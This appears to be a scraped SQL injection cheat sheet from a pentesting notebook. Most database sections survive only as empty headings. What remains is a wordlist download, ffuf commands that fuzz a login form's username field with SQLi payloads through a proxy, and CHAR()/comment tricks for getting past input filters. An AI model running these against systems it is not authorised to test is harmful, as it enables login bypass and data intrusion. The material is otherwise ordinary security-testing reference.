SQLi

01. Getting Started

## ------------------| Fuzzing
wget https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/Injections/SQL.txt

ffuf -X POST -u http://<URL/admin -d 'username=FUZZ&password=h4rithd' -w /usr/share/seclists/Fuzzing/SQLi/Generic-SQLi.txt -x http://127.0.0.1:8080 -H "Content-Type: application/x-www-form-urlencoded" 
ffuf -X POST -u http://<URL/admin -d 'username=FUZZ&password=h4rithd' -w /usr/share/wordlist/Injections/SQL.txt -x http://127.0.0.1:8080 -H "Content-Type: application/x-www-form-urlencoded"                                         
## ------------------| Bypass
CHAR(58) --> :
CHAR(32) --> space
/**/     --> space
CHAR(39) --> '
CHAR(85) --> U

02. MySQL

  • Useful commands

  • Auth Bypass

  • Check math

  • Privileges

  • File Injection

02.1 Union Injection

02.2 Error-Based Injection

02.3 Time Based Injection

03. MSSQL

  • Useful Commands

  • Command Execution

03.3 Stacked Queries Injection

04. Oracal

04.2 Error-Based Injection

05. PostgreSQL

  • Useful Commands

05.1 Stacked Queries Injection

06. Automated

  • Fuzzing

  • SQLMap

Last updated